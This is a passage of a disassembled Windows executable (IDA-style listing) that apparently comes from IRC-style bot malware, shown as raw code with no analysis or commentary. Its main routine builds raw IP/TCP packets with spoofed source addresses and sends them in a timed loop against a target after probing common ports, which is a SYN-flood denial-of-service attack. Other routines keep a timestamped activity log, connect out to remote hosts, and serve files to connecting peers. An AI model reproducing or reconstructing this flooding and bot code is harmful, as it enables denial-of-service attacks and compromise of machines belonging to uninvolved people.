sbb eax, eax
loc_4159DC: ; CODE XREF: sub_4158F7+24j
; sub_4158F7+8Bj ...
pop edi
pop esi
leave
retn
sub_4158F7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4159E0 proc near ; CODE XREF: sub_415846+51p
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
var_FC = byte ptr -0FCh
var_98 = word ptr -98h
var_96 = word ptr -96h
var_94 = dword ptr -94h
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 108h
xor eax, eax
push ebx
push esi
inc eax
push edi
xor ebx, ebx
push eax
push ebx
push ebx
push 0FFh
push 3
mov [ebp+var_10], eax
pop esi
push esi
push 2
call dword_4281DC ; WSASocketA
lea ecx, [ebp+var_10]
push 4
push ecx
push 2
push ebx
push eax
mov dword_4D1AF0, eax
call dword_4CE2E8 ; setsockopt
call dword_4280B0 ; GetTickCount
push eax
call sub_41BF48
pop ecx
xor eax, eax
push 19h
lea edi, [ebp+var_FC]
pop ecx
mov [ebp+var_108], ebx
mov [ebp+var_78], ecx
mov [ebp+var_104], ebx
mov [ebp+var_100], ebx
mov [ebp+var_18], esi
mov [ebp+var_88], 401h
mov [ebp+var_84], 15h
mov [ebp+var_80], 16h
mov [ebp+var_7C], 17h
mov [ebp+var_74], 35h
mov [ebp+var_70], 50h
mov [ebp+var_6C], 51h
mov [ebp+var_68], 58h
mov [ebp+var_64], 6Eh
mov [ebp+var_60], 71h
mov [ebp+var_5C], 77h
mov [ebp+var_58], 87h
mov [ebp+var_54], 89h
mov [ebp+var_50], 8Bh
mov [ebp+var_4C], 8Fh
mov [ebp+var_48], 1BBh
mov [ebp+var_44], 1BDh
mov [ebp+var_40], 400h
mov [ebp+var_3C], 599h
mov [ebp+var_38], 5DCh
mov [ebp+var_34], 6B8h
mov [ebp+var_30], 0CEAh
mov [ebp+var_2C], 0D3Dh
mov [ebp+var_28], 1388h
mov [ebp+var_24], 1A0Bh
mov [ebp+var_20], 1F40h
mov [ebp+var_1C], 1F90h
mov [ebp+var_C], ebx
rep stosd
mov [ebp+var_14], 0BB8h
xor esi, esi
loc_415B1E: ; CODE XREF: sub_4159E0+1ACj
mov eax, [ebp+arg_0]
lea edi, [ebp+esi+var_88]
mov [ebp+var_94], eax
mov [ebp+var_98], 2
mov ax, [edi]
push eax
call dword_4CE308 ; ntohs
push ebx
push 1
push 2
mov [ebp+var_96], ax
call dword_4CE388 ; socket
lea ecx, [ebp+var_18]
mov [ebp+var_8], eax
push ecx
lea ecx, [ebp+var_98]
push 10h
push ecx
push eax
call sub_4158F7
add esp, 10h
mov [ebp+var_4], eax
push [ebp+var_8]
call dword_4CE3A0 ; closesocket
cmp [ebp+var_4], ebx
jnz short loc_415B86
mov eax, [edi]
mov [ebp+esi+var_108], eax
loc_415B86: ; CODE XREF: sub_4159E0+19Bj
add esi, 4
cmp esi, 70h
jl short loc_415B1E
mov esi, offset dword_4D1AF8
push offset asc_42F5E8 ; " "
push esi
call sub_41BEF6
mov edi, dword_4280B0
pop ecx
pop ecx
call edi ; GetTickCount
mov [ebp+var_8], eax
mov [ebp+var_4], ebx
loc_415BAE: ; CODE XREF: sub_4159E0+225j
call edi ; GetTickCount
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+arg_4]
ja short loc_415C07
mov eax, [ebp+var_4]
mov eax, [ebp+eax*4+var_108]
cmp eax, ebx
jz short loc_415BE4
push eax
push esi
push offset aSD ; "%s%d "
push esi
mov [ebp+var_C], eax
call sub_41BEF6
add esp, 10h
jmp short loc_415BFE
; ---------------------------------------------------------------------------
loc_415BE4: ; CODE XREF: sub_4159E0+1EDj
push 0FFFFh
push ebx
call sub_418D19
pop ecx
pop ecx
push eax
call dword_4CE308 ; ntohs
movzx eax, ax
mov [ebp+var_C], eax
loc_415BFE: ; CODE XREF: sub_4159E0+202j
inc [ebp+var_4]
cmp [ebp+var_4], 1Ch
jl short loc_415BAE
loc_415C07: ; CODE XREF: sub_4159E0+1DFj
; sub_4159E0+45Ej
push 28h
push ebx
push offset byte_4D1A94
call sub_41BC00
mov esi, 0FFFFh
mov byte_4D1A94, 45h
push esi
push 400h
mov byte_4D1A9D, 6
mov byte_4D1A95, 8
call sub_418D19
add esp, 14h
push eax
call dword_4CE308 ; ntohs
push 28h
mov word_4D1A98, ax
call dword_4CE308 ; ntohs
or byte_4D1A9C, 0FFh
cmp dword_4D1A8C, ebx
mov word_4D1A96, ax
mov word_4D1A9A, bx
jnz short loc_415C87
push 0FFFEh
push 1
call sub_418D19
pop ecx
pop ecx
mov ecx, [ebp+arg_0]
shl eax, 10h
and ecx, esi
or eax, ecx
jmp short loc_415C92
; ---------------------------------------------------------------------------
loc_415C87: ; CODE XREF: sub_4159E0+28Bj
push offset dword_4D1470
call dword_4CE348 ; inet_addr
loc_415C92: ; CODE XREF: sub_4159E0+2A5j
mov dword_4D1AA0, eax
mov eax, [ebp+arg_0]
push 4000h
mov dword_4D1AA4, eax
mov byte_4D1AB5, bl
call dword_4CE308 ; ntohs
push esi
push ebx
mov word_4D1AB6, ax
call sub_418D19
mov edi, eax
push esi
push ebx
shl edi, 8
call sub_418D19
add esp, 10h
add edi, eax
push edi
call dword_4CE304 ; ntohl
mov dword_4D1AAC, eax
mov al, byte_4D1AB4
mov edi, [ebp+arg_0]
and al, 0Fh
or al, 50h
push 14h
mov byte_4D1AB4, al
mov ax, word ptr [ebp+var_C]
mov dword_4D1AB0, ebx
mov word_4D1ABA, bx
mov word_4D1AAA, ax
mov dword_4D1AD0, edi
mov byte_4D1AD4, bl
mov byte_4D1AD5, 6
call dword_4CE308 ; ntohs
mov word_4D1AD6, ax
mov ax, word_4D1AAA
mov word_4D1ABC, 2
mov dword_4D1AC0, edi
mov word_4D1ABE, ax
mov [ebp+var_4], ebx
jmp short loc_415D48
; ---------------------------------------------------------------------------
loc_415D43: ; CODE XREF: sub_4159E0+438j
mov esi, 0FFFFh
loc_415D48: ; CODE XREF: sub_4159E0+361j
cmp [ebp+var_4], ebx
push esi
push ebx
jnz short loc_415D7C
call sub_418D19
pop ecx
pop ecx
push eax
call dword_4CE308 ; ntohs
mov word_4D1AA8, ax
mov eax, dword_4D1AA0
mov dword_4D1ACC, eax
mov byte_4D1AB5, 2
mov dword_4D1AB0, ebx
jmp short loc_415D99
; ---------------------------------------------------------------------------
loc_415D7C: ; CODE XREF: sub_4159E0+36Dj
mov byte_4D1AB5, 10h
call sub_418D19
pop ecx
pop ecx
push eax
call dword_4CE308 ; ntohs
movzx eax, ax
mov dword_4D1AB0, eax
loc_415D99: ; CODE XREF: sub_4159E0+39Aj
inc word_4D1A98
inc dword_4D1AAC
mov ax, word_4D1AAA
push 5
pop ecx
mov esi, offset word_4D1AA8
mov edi, offset dword_4D1AD8
mov word_4D1A9E, bx
mov word_4D1AB8, bx
push 14h
rep movsd
mov esi, offset byte_4D1A94
mov word_4D1ABE, ax
push esi
call sub_40A92E
push 20h
push offset dword_4D1ACC
mov word_4D1A9E, ax
call sub_40A92E
add esp, 10h
mov word_4D1AB8, ax
push 10h
push offset word_4D1ABC
push ebx
push 28h
push esi
push dword_4D1AF0
call dword_4CE36C ; sendto
inc [ebp+var_4]
cmp [ebp+var_4], 3FFh
jl loc_415D43
call dword_4280B0 ; GetTickCount
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+arg_4]
ja short loc_415E43
push [ebp+arg_8]
call dword_428080 ; Sleep
jmp loc_415C07
; ---------------------------------------------------------------------------
loc_415E43: ; CODE XREF: sub_4159E0+453j
pop edi
pop esi
mov eax, offset dword_4D1AF8
pop ebx
leave
retn
sub_4159E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415E4D proc near ; CODE XREF: sub_401AA1+7072p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
push edi
mov esi, offset dword_4404C8
mov edi, 0B8h
loc_415E61: ; CODE XREF: sub_415E4D+33j
cmp byte ptr [esi], 0
jz short loc_415E84
push [ebp+arg_0]
push esi
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz short loc_415E84
inc [ebp+var_4]
add esi, edi
cmp esi, offset dword_441048
jl short loc_415E61
jmp short loc_415EC6
; ---------------------------------------------------------------------------
loc_415E84: ; CODE XREF: sub_415E4D+17j
; sub_415E4D+26j
mov esi, [ebp+var_4]
push ebx
imul esi, 0B8h
push edi
push 0
lea ebx, dword_4404C8[esi]
push ebx
call sub_41BC00
push 17h
push [ebp+arg_0]
push ebx
call sub_41BC60
push 9Fh
lea eax, dword_4404E0[esi]
push [ebp+arg_4]
push eax
call sub_41BC60
add esp, 24h
inc dword_42AE00
pop ebx
loc_415EC6: ; CODE XREF: sub_415E4D+35j
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn
sub_415E4D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415ECD proc near ; CODE XREF: sub_401AA1+2857p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset dword_43A14C
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409743
add esp, 14h
xor edi, edi
mov esi, offset dword_4404C8
loc_415EF7: ; CODE XREF: sub_415ECD+72j
cmp byte ptr [esi], 0
jz short loc_415F32
lea eax, [esi+18h]
push eax
push esi
push edi
push offset dword_43A138
lea eax, [ebp+var_200]
push 200h
push eax
call sub_41BFF0
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409743
add esp, 2Ch
loc_415F32: ; CODE XREF: sub_415ECD+2Dj
add esi, 0B8h
inc edi
cmp esi, offset dword_441048
jl short loc_415EF7
pop edi
pop esi
leave
retn
sub_415ECD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415F45 proc near ; CODE XREF: sub_40121E+372p
; sub_40121E+3F3p ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
lea eax, [ebp+var_10]
push edi
push eax
call dword_428144 ; GetLocalTime
mov ebx, offset dword_4D5EF8
mov edi, 80h
mov esi, offset dword_4D1EF8
loc_415F67: ; CODE XREF: sub_415F45+3Dj
cmp byte ptr [ebx], 0
jz short loc_415F7E
push 7Fh
lea eax, [ebx+80h]
push ebx
push eax
call sub_41BC60
add esp, 0Ch
loc_415F7E: ; CODE XREF: sub_415F45+25j
sub ebx, edi
cmp ebx, esi
jge short loc_415F67
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push edi
push esi
call sub_41BFF0
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_415F45 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415FB9 proc near ; CODE XREF: sub_4017BF+F7p
; sub_401AA1:loc_408896p ...
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 80h
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_80]
push [ebp+arg_0]
push 80h
push eax
call sub_41C800
lea eax, [ebp+var_80]
push eax
call sub_415F45
add esp, 14h
leave
retn
sub_415FB9 endp
; =============== S U B R O U T I N E =======================================
sub_415FE5 proc near ; CODE XREF: sub_401AA1+274Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, offset dword_4D1EF8
xor ecx, ecx
loc_415FEC: ; CODE XREF: sub_415FE5+13j
mov [eax], cl
add eax, 80h
cmp eax, offset dword_4D5EF8
jl short loc_415FEC
cmp [esp+arg_C], ecx
jnz short loc_41601A
push ecx
push [esp+4+arg_8]
push offset dword_43A198
push [esp+0Ch+arg_4]
push [esp+10h+arg_0]
call sub_409743
add esp, 14h
loc_41601A: ; CODE XREF: sub_415FE5+19j
push offset dword_43A184
call sub_415F45
pop ecx
retn
sub_415FE5 endp
; =============== S U B R O U T I N E =======================================
sub_416026 proc near ; CODE XREF: .XPack0:0040E0F2p
arg_0 = dword ptr 4
push esi
mov esi, offset dword_4D1EF8
loc_41602C: ; CODE XREF: sub_416026+27j
cmp byte ptr [esi], 0
jz short loc_416041
push [esp+4+arg_0]
push esi
call sub_418713
pop ecx
test eax, eax
pop ecx
jnz short loc_416053
loc_416041: ; CODE XREF: sub_416026+9j
add esi, 80h
cmp esi, offset dword_4D5EF8
jl short loc_41602C
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_416053: ; CODE XREF: sub_416026+19j
xor eax, eax
pop esi
inc eax
retn
sub_416026 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416058 proc near ; DATA XREF: sub_401AA1+2802o
var_31C = byte ptr -31Ch
var_11C = dword ptr -11Ch
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 31Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 45h
pop ecx
mov esi, eax
lea edi, [ebp+var_11C]
xor edx, edx
rep movsd
xor edi, edi
mov [ebp+var_8], 80h
inc edi
cmp [ebp+var_10], edx
mov [ebp+var_4], edx
mov [eax+110h], edi
jnz short loc_4160AB
push edx
lea eax, [ebp+var_118]
push [ebp+var_14]
push offset dword_43A1F4
push eax
push [ebp+var_11C]
call sub_409743
add esp, 14h
loc_4160AB: ; CODE XREF: sub_416058+33j
cmp [ebp+var_98], 0
jz short loc_4160CB
lea eax, [ebp+var_98]
push eax
call sub_41BDE9
test eax, eax
pop ecx
mov [ebp+var_4], eax
jz short loc_4160CB
mov [ebp+var_8], eax
loc_4160CB: ; CODE XREF: sub_416058+5Aj
; sub_416058+6Ej
and [ebp+arg_0], 0
mov esi, offset dword_4D1EF8
loc_4160D4: ; CODE XREF: sub_416058+D4j
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_8]
jge short loc_41612E
cmp byte ptr [esi], 0
jz short loc_41611D
cmp [ebp+var_98], 0
jz short loc_416103
cmp [ebp+var_4], 0
jnz short loc_416103
lea eax, [ebp+var_98]
push eax
push esi
call sub_418713
pop ecx
test eax, eax
pop ecx
jz short loc_41611D
loc_416103: ; CODE XREF: sub_416058+90j
; sub_416058+96j
push edi
lea eax, [ebp+var_118]
push [ebp+var_14]
push esi
push eax
push [ebp+var_11C]
call sub_409743
add esp, 14h
loc_41611D: ; CODE XREF: sub_416058+87j
; sub_416058+A9j
inc [ebp+arg_0]
add esi, 80h
cmp esi, offset dword_4D5EF8
jl short loc_4160D4
loc_41612E: ; CODE XREF: sub_416058+82j
lea eax, [ebp+var_31C]
push offset dword_43A1C4
push eax
call sub_41BEF6
xor esi, esi
pop ecx
cmp [ebp+var_10], esi
pop ecx
jnz short loc_416168
push esi
lea eax, [ebp+var_31C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_118]
push eax
push [ebp+var_11C]
call sub_409743
add esp, 14h
loc_416168: ; CODE XREF: sub_416058+EEj
lea eax, [ebp+var_31C]
push eax
call sub_415F45
push [ebp+var_18]
call sub_40B56A
pop ecx
pop ecx
push esi
call dword_4280D4 ; ExitThread
pop edi
pop esi
sub_416058 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416187 proc near ; CODE XREF: sub_41620D+33p
; sub_416770+BCp ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_4CE388 ; socket
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_416203
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41BC00
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call dword_4CE308 ; ntohs
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_4CE348 ; inet_addr
cmp eax, esi
jnz short loc_4161E8
push [ebp+arg_0]
call dword_4CE38C ; gethostbyname
test eax, eax
jz short loc_416203
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_4161E8: ; CODE XREF: sub_416187+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_4CE2B0 ; connect
cmp eax, esi
jnz short loc_416207
push edi
call dword_4CE3A0 ; closesocket
loc_416203: ; CODE XREF: sub_416187+1Bj
; sub_416187+58j
mov eax, esi
jmp short loc_416209
; ---------------------------------------------------------------------------
loc_416207: ; CODE XREF: sub_416187+73j
mov eax, edi
loc_416209: ; CODE XREF: sub_416187+7Ej
pop edi
pop esi
leave
retn
sub_416187 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41620D proc near ; DATA XREF: sub_401AA1+9CAo
var_11B4 = byte ptr -11B4h
var_1B4 = byte ptr -1B4h
var_1AC = byte ptr -1ACh
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 11B4h
call sub_41C190
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1B4]
rep movsd
push [ebp+var_14]
xor esi, esi
inc esi
mov [eax+1B0h], esi
lea eax, [ebp+var_1AC]
push eax
call sub_416187
mov ebx, eax
pop ecx
cmp ebx, 0FFFFFFFFh
pop ecx
jnz short loc_4162A0
lea eax, [ebp+var_11B4]
push offset unk_43A288
push eax
call sub_41BEF6
xor edi, edi
pop ecx
cmp [ebp+var_8], edi
pop ecx
jnz short loc_416283
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_409743
add esp, 14h
loc_416283: ; CODE XREF: sub_41620D+59j
lea eax, [ebp+var_11B4]
push eax
call sub_415F45
push [ebp+var_10]
call sub_40B56A
pop ecx
pop ecx
push esi
call dword_4280D4 ; ExitThread
loc_4162A0: ; CODE XREF: sub_41620D+3Fj
push offset byte_4404C4
push ebx
call sub_41A2D6
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_41630B
lea eax, [ebp+var_11B4]
push offset unk_43A258
push eax
call sub_41BEF6
xor edi, edi
pop ecx
cmp [ebp+var_8], edi
pop ecx
jnz short loc_4162E7
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_409743
add esp, 14h
loc_4162E7: ; CODE XREF: sub_41620D+BDj
lea eax, [ebp+var_11B4]
push eax
call sub_415F45
pop ecx
push ebx
call dword_4CE3A0 ; closesocket
push [ebp+var_10]
call sub_40B56A
pop ecx
push esi
call dword_4280D4 ; ExitThread
loc_41630B: ; CODE XREF: sub_41620D+A3j
push 64h
call dword_428080 ; Sleep
xor edi, edi
mov esi, 1000h
loc_41631A: ; CODE XREF: sub_41620D+168j
push esi
lea eax, [ebp+var_11B4]
push edi
push eax
call sub_41BC00
add esp, 0Ch
lea eax, [ebp+var_11B4]
push edi
push esi
push eax
push ebx
call dword_4CE320 ; recv
test eax, eax
jle short loc_416377
lea eax, [ebp+var_11B4]
push offset asc_42BDD8 ; "\n"
push eax
call sub_41C530
lea eax, [ebp+var_11B4]
push eax
call sub_41A0C2
add esp, 0Ch
test eax, eax
jz short loc_416377
push 64h
call dword_428080 ; Sleep
push 0Ah
call sub_40B496
test eax, eax
pop ecx
jnz short loc_41631A
loc_416377: ; CODE XREF: sub_41620D+130j
; sub_41620D+154j
lea eax, [ebp+var_11B4]
push offset unk_43A224
push eax
call sub_41BEF6
cmp [ebp+var_8], edi
pop ecx
pop ecx
jnz short loc_4163AA
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_409743
add esp, 14h
loc_4163AA: ; CODE XREF: sub_41620D+180j
lea eax, [ebp+var_11B4]
push eax
call sub_415F45
pop ecx
push ebx
call dword_4CE3A0 ; closesocket
push [ebp+var_10]
call sub_40B56A
pop ecx
push edi
call dword_4280D4 ; ExitThread
sub_41620D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4163CE proc near ; DATA XREF: sub_401AA1+75FCo
var_A04 = byte ptr -0A04h
var_604 = byte ptr -604h
var_500 = dword ptr -500h
var_4FC = dword ptr -4FCh
var_3FC = byte ptr -3FCh
var_1FC = dword ptr -1FCh
var_1F8 = dword ptr -1F8h
var_1E0 = byte ptr -1E0h
var_DC = byte ptr -0DCh
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_48 = byte ptr -48h
var_44 = dword ptr -44h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = dword ptr -2Eh
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A04h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1FC]
rep movsd
xor ebx, ebx
xor esi, esi
inc ebx
push esi
push ebx
push 2
mov [eax+1B0h], ebx
mov [ebp+var_10], esi
mov [ebp+var_C], esi
mov [ebp+var_20], esi
call dword_4CE388 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_18], edi
jnz short loc_41641C
push offset unk_43A388
jmp loc_4165D5
; ---------------------------------------------------------------------------
loc_41641C: ; CODE XREF: sub_4163CE+42j
push 10h
lea eax, [ebp+var_30]
push esi
push eax
call sub_41BC00
add esp, 0Ch
mov [ebp+var_30], 2
push esi
call dword_4CE308 ; ntohs
mov word ptr [ebp+var_2E], ax
lea eax, [ebp+var_30]
push 10h
push eax
push edi
mov [ebp+var_2E+2], esi
call dword_4CE334 ; bind
test eax, eax
jz short loc_41645A
push offset unk_43A364
jmp loc_4165D5
; ---------------------------------------------------------------------------
loc_41645A: ; CODE XREF: sub_4163CE+80j
lea eax, [ebp+var_1C]
mov [ebp+var_1C], 10h
push eax
lea eax, [ebp+var_30]
push eax
push edi
call dword_4CE2AC ; getsockname
push [ebp+var_2E]
call dword_4CE238 ; ntohs
mov [ebp+var_4], eax
lea eax, [ebp+var_1E0]
push eax
mov [ebp+arg_0], esi
call sub_41B650
pop ecx
loc_41648C: ; CODE XREF: sub_4163CE+EFj
mov ecx, [ebp+arg_0]
mov al, [ebp+ecx+var_1E0]
cmp al, 20h
jnz short loc_41649F
push 5Fh
pop eax
jmp short loc_4164A2
; ---------------------------------------------------------------------------
loc_41649F: ; CODE XREF: sub_4163CE+CAj
movsx eax, al
loc_4164A2: ; CODE XREF: sub_4163CE+CFj
mov [ebp+ecx+var_604], al
lea eax, [ebp+var_1E0]
inc ecx
push eax
mov [ebp+arg_0], ecx
call sub_41B650
cmp [ebp+arg_0], eax
pop ecx
jbe short loc_41648C
push ebx
push edi
call dword_4CE330 ; listen
test eax, eax
jz short loc_4164D5
push offset unk_43A288
jmp loc_4165D5
; ---------------------------------------------------------------------------
loc_4164D5: ; CODE XREF: sub_4163CE+FBj
push esi
push esi
push 3
push esi
push ebx
lea eax, [ebp+var_1E0]
push 80000000h
push eax
call dword_4280F8 ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_4164FF
push offset unk_43A344
jmp loc_4165D5
; ---------------------------------------------------------------------------
loc_4164FF: ; CODE XREF: sub_4163CE+125j
push esi
push eax
call dword_428118 ; GetFileSize
mov [ebp+arg_0], eax
push eax
movzx eax, word ptr [ebp+var_4]
push eax
push [ebp+var_1FC]
call sub_40A8D5
pop ecx
push eax
call dword_4CE348 ; inet_addr
push eax
call dword_4CE304 ; ntohl
push eax
lea eax, [ebp+var_1E0]
push eax
lea eax, [ebp+var_3FC]
push offset dword_43A32C
push eax
call sub_41BEF6
push esi
lea eax, [ebp+var_3FC]
push esi
push eax
lea eax, [ebp+var_DC]
push eax
push [ebp+var_1FC]
call sub_409743
add esp, 2Ch
lea eax, [ebp+var_38]
mov [ebp+var_38], 3Ch
mov [ebp+var_34], esi
push eax
push esi
lea eax, [ebp+var_500]
push esi
push eax
push esi
mov [ebp+var_4FC], edi
mov [ebp+var_500], ebx
call dword_4CE2F0 ; select
test eax, eax
jg short loc_4165AF
push esi
lea eax, [ebp+var_DC]
push [ebp+var_54]
push offset dword_43A314
push eax
push [ebp+var_1FC]
call sub_409743
jmp loc_4166D3
; ---------------------------------------------------------------------------
loc_4165AF: ; CODE XREF: sub_4163CE+1BFj
lea eax, [ebp+var_14]
mov [ebp+var_14], 10h
push eax
lea eax, [ebp+var_48]
push eax
push edi
call dword_4CE39C ; accept
cmp eax, 0FFFFFFFFh
mov [ebp+var_1F8], eax
jnz short loc_4165E8
push offset unk_43A2F0
loc_4165D5: ; CODE XREF: sub_4163CE+49j
; sub_4163CE+87j ...
lea eax, [ebp+var_3FC]
push eax
call sub_41BEF6
pop ecx
pop ecx
jmp loc_4166D6
; ---------------------------------------------------------------------------
loc_4165E8: ; CODE XREF: sub_4163CE+200j
push edi
call dword_4CE3A0 ; closesocket
cmp [ebp+arg_0], esi
jz loc_41669A
mov edi, 400h
loc_4165FD: ; CODE XREF: sub_4163CE+2C3j
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
cmp eax, edi
jge short loc_41660A
mov [ebp+var_4], eax
loc_41660A: ; CODE XREF: sub_4163CE+237j
push edi
lea eax, [ebp+var_A04]
push esi
push eax
call sub_41BC00
mov eax, [ebp+arg_0]
add esp, 0Ch
neg eax
push 2
push esi
push eax
push [ebp+var_8]
call dword_42812C ; SetFilePointer
lea eax, [ebp+var_20]
push esi
push eax
lea eax, [ebp+var_A04]
push [ebp+var_4]
push eax
push [ebp+var_8]
call dword_4280EC ; ReadFile
push esi
lea eax, [ebp+var_A04]
push [ebp+var_4]
push eax
push [ebp+var_1F8]
call dword_4CE358 ; send
mov [ebp+var_4], eax
push esi
cdq
add [ebp+var_10], eax
lea eax, [ebp+var_A04]
push edi
push eax
push [ebp+var_1F8]
adc [ebp+var_C], edx
call dword_4CE320 ; recv
cmp eax, ebx
jl loc_41672F
mov eax, [ebp+var_4]
cmp eax, ebx
jl loc_41672F
sub [ebp+arg_0], eax
jnz loc_4165FD
mov edi, [ebp+var_18]
loc_41669A: ; CODE XREF: sub_4163CE+224j
push [ebp+var_8]
call dword_428070 ; CloseHandle
push [ebp+var_C]
push [ebp+var_10]
call sub_416EC1
pop ecx
pop ecx
push eax
push [ebp+var_44]
call dword_4CE394 ; inet_ntoa
push eax
lea eax, [ebp+var_1E0]
push eax
lea eax, [ebp+var_3FC]
push offset unk_43A2C4
push eax
call sub_41BEF6
loc_4166D3: ; CODE XREF: sub_4163CE+1DCj
add esp, 14h
loc_4166D6: ; CODE XREF: sub_4163CE+215j
cmp [ebp+var_50], esi
jnz short loc_4166FB
push esi
lea eax, [ebp+var_3FC]
push [ebp+var_54]
push eax
lea eax, [ebp+var_DC]
push eax
push [ebp+var_1FC]
call sub_409743
add esp, 14h
loc_4166FB: ; CODE XREF: sub_4163CE+30Bj
lea eax, [ebp+var_3FC]
push eax
call sub_415F45
cmp edi, esi
pop ecx
jbe short loc_416713
push edi
call dword_4CE3A0 ; closesocket
loc_416713: ; CODE XREF: sub_4163CE+33Cj
push [ebp+var_1F8]
call dword_4CE3A0 ; closesocket
push [ebp+var_58]
call sub_40B56A
pop ecx
push esi
call dword_4280D4 ; ExitThread
